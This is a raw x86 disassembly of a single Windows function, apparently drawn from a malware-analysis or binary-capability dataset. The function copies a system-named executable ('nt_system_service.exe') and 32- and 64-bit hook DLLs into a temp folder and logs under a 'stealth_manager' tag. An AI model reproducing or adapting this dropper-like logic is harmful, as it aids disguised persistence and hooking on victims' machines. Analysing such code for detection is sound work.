Function at 0x40cdf0
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41620b
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x421024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0x4183c4
lea edx, [ebx + 0x58]
lea ecx, [ebp - 0xd0]
call fcn.00405e30
push 0x421cc0
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x148]
call fcn.00407190
push 0x4183c4
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe8]
call fcn.00403e30
add esp, 0xc
mov eax, dword [ebp - 0x134]
cmp eax, 0x10
jb 0x40ce7d
inc eax
push eax
push dword [ebp - 0x148]
call fcn.00403580
mov dword [ebp - 0x134], 0xf
mov dword [ebp - 0x138], 0
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0xbc]
cmp eax, 0x10
jb 0x40ceb4
inc eax
push eax
push dword [ebp - 0xd0]
call fcn.00403580
push str.temp_
lea edx, [ebp - 0xe8]
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0xc0], 0
mov byte [ebp - 0xd0], 0
call fcn.00405e30
add esp, 4
mov byte [ebp - 4], 5
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40d663
test al, 0x10
je 0x40d663
push 0
push str.flag_delete_:__d
push str.stealth_manager
call fcn.00401b30
push 0x421d68
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x130]
call fcn.004071c0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
cmovae eax, dword [ebp - 0x130]
push ecx
push eax
call esi
add esp, 0x18
test eax, eax
jne 0x40d02e
push 0x421d68
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.004071c0
add esp, 4
push 0
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
mov dword [ebp - 0x14c], esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40cfb3
mov eax, dword [ecx]
jmp 0x40cfb5
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x130]
push 0
push eax
call fcn.00403180
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40cff7
mov eax, dword [ecx]
jmp 0x40cff9
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00403180
mov byte [ebp - 4], 7
call fcn.0040d9e0
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x40d02e
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00403580
push 0x421c90
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x118]
call fcn.004071c0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push ecx
cmovae eax, dword [ebp - 0x118]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x40d139
push 0x421c90
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.004071c0
add esp, 4
push 0
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x150], esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40d0be
mov eax, dword [ecx]
jmp 0x40d0c0
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.00403180
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40d102
mov eax, dword [ecx]
jmp 0x40d104
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00403180
mov byte [ebp - 4], 0xa
call fcn.0040d9e0
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x40d139
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00403580
push str.nt_system_service.exe
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x100]
call fcn.00405e30
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0xec], 0x10
lea eax, [ebp - 0x100]
push ecx
cmovae eax, dword [ebp - 0x100]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x40d244
push str.nt_system_service.exe
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.00405e30
add esp, 4
push 0
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
mov dword [ebp - 0x150], esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40d1c9
mov eax, dword [ecx]
jmp 0x40d1cb
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403180
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40d20d
mov eax, dword [ecx]
jmp 0x40d20f
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00403180
mov byte [ebp - 4], 0xd
call fcn.0040d9e0
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x40d244
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00403580
push 0x421c60
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x70]
call fcn.004071c0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
push ecx
cmovae eax, dword [ebp - 0x70]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0xc
test eax, eax
jne 0x40d30d
push 0x421c60
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x28]
call fcn.004071c0
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x150], esp
push eax
call fcn.00402df0
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402df0
mov byte [ebp - 4], 0x10
call fcn.0040dbf0
add esp, 0x30
test al, al
jne 0x40d2f7
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
push ecx
cmovae eax, dword [ebp - 0x70]
push eax
call edi
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40d30d
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00403580
push 0x421df8
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x58]
call fcn.004071c0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x40d3d0
push 0x421df8
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x28]
call fcn.004071c0
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae eax, dword [ebp - 0x58]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x150], esp
push eax
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402df0
mov byte [ebp - 4], 0x13
call fcn.0040dbf0
add esp, 0x30
test al, al
jne 0x40d3ba
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
push ecx
cmovae eax, dword [ebp - 0x58]
push eax
call edi
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40d3d0
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00403580
push 0x421ca8
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0xb8]
call fcn.004071c0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0xa4], 0x10
lea eax, [ebp - 0xb8]
push ecx
cmovae eax, dword [ebp - 0xb8]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x40d493
push 0x421ca8
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0xd0]
call fcn.004071c0
add esp, 4
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
lea eax, [ebp - 0xb8]
push 0
cmovae ecx, dword [ebp - 0xd0]
cmp dword [ebp - 0xa4], 0x10
push ecx
cmovae eax, dword [ebp - 0xb8]
push eax
call edi
cmp eax, 1
sete al
movzx eax, al
push eax
push str.copy_hookDll32_:__d
push str.stealth_manager
call fcn.00401b30
mov byte [ebp - 4], 0x15
add esp, 0xc
mov eax, dword [ebp - 0xbc]
cmp eax, 0x10
jb 0x40d493
inc eax
push eax
push dword [ebp - 0xd0]
call fcn.00403580
cmp byte [ebx + 0xc], 0
je 0x40d54f
push 0x421de0
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x28]
call fcn.004071c0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x40d53d
push 0x421de0
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.004071c0
add esp, 4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x88]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call edi
cmp eax, 1
sete al
movzx eax, al
push eax
push str.copy_hookDll64_:__d
push str.stealth_manager
call fcn.00401b30
mov eax, dword [ebp - 0x74]
add esp, 0xc
cmp eax, 0x10
jb 0x40d53d
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00403580
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40d54f
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00403580
mov eax, dword [ebp - 0xa4]
cmp eax, 0x10
jb 0x40d567
inc eax
push eax
push dword [ebp - 0xb8]
call fcn.00403580
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xb8], 0
cmp eax, 0x10
jb 0x40d594
inc eax
push eax
push dword [ebp - 0x58]
call fcn.00403580
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
cmp eax, 0x10
jb 0x40d5b8
inc eax
push eax
push dword [ebp - 0x70]
call fcn.00403580
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x5c], 0xf
mov dword [ebp - 0x60], 0
mov byte [ebp - 0x70], 0
cmp eax, 0x10
jb 0x40d5e2
inc eax
push eax
push dword [ebp - 0x100]
call fcn.00403580
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xf0], 0
mov byte [ebp - 0x100], 0
cmp eax, 0x10
jb 0x40d615
inc eax
push eax
push dword [ebp - 0x118]
call fcn.00403580
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x104], 0xf
mov dword [ebp - 0x108], 0
mov byte [ebp - 0x118], 0
cmp eax, 0x10
jb 0x40d648
inc eax
push eax
push dword [ebp - 0x130]
call fcn.00403580
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x40d675
inc eax
push eax
push dword [ebp - 0x40]
call fcn.00403580
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
cmp eax, 0x10
jb 0x40d69f
inc eax
push eax
push dword [ebp - 0xe8]
call fcn.00403580
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00414132
mov esp, ebp
pop ebp
ret